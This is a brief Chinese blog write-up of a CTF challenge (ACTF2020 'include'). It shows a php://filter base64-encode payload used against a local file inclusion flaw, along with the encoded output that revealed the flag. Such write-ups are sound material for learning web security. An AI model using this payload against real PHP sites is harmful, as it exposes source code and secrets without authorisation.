[CTF][ACTF2020新生赛]include

原创

delta_hell 于 2021-10-18 21:08:30 发布 2189 收藏

分类专栏： CTF 文章标签： php

解题思路

1 尝试
随便试了下几种目录穿越的方法，没有错误回显，没法判断是否成功。
…/…/ 以及file=xx.php等

2 换思路
简单试过后，发觉即使是目录攻击，这种无有效提示的攻击尝试方法，也是非常低效的。应该换个其它思路试一下。
翻出ctfer成长之路，这本书，看到php的漏洞利用，有filter以及zip协议等，灵机一动，考虑到php内容本身没有回显，会不会在php代码注释里，不管，先用filter试一下base64编码，试了一下，得到：

```
?file=php://filter/convert.base64-encode/resource=flag.php
得到base64编码
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YTI5NTg4ZWMtMzkyNC00YjBhLWE3ZDQtOGU2MThlMWFmMTdm
fQo=
```

然后base64解码，果然得到flag，果然在注释里。

总结

php还是个完全的菜鸟，这道题是及时换了思路，但是include以及其它目录漏洞，应该如何有效利用，并没有研究。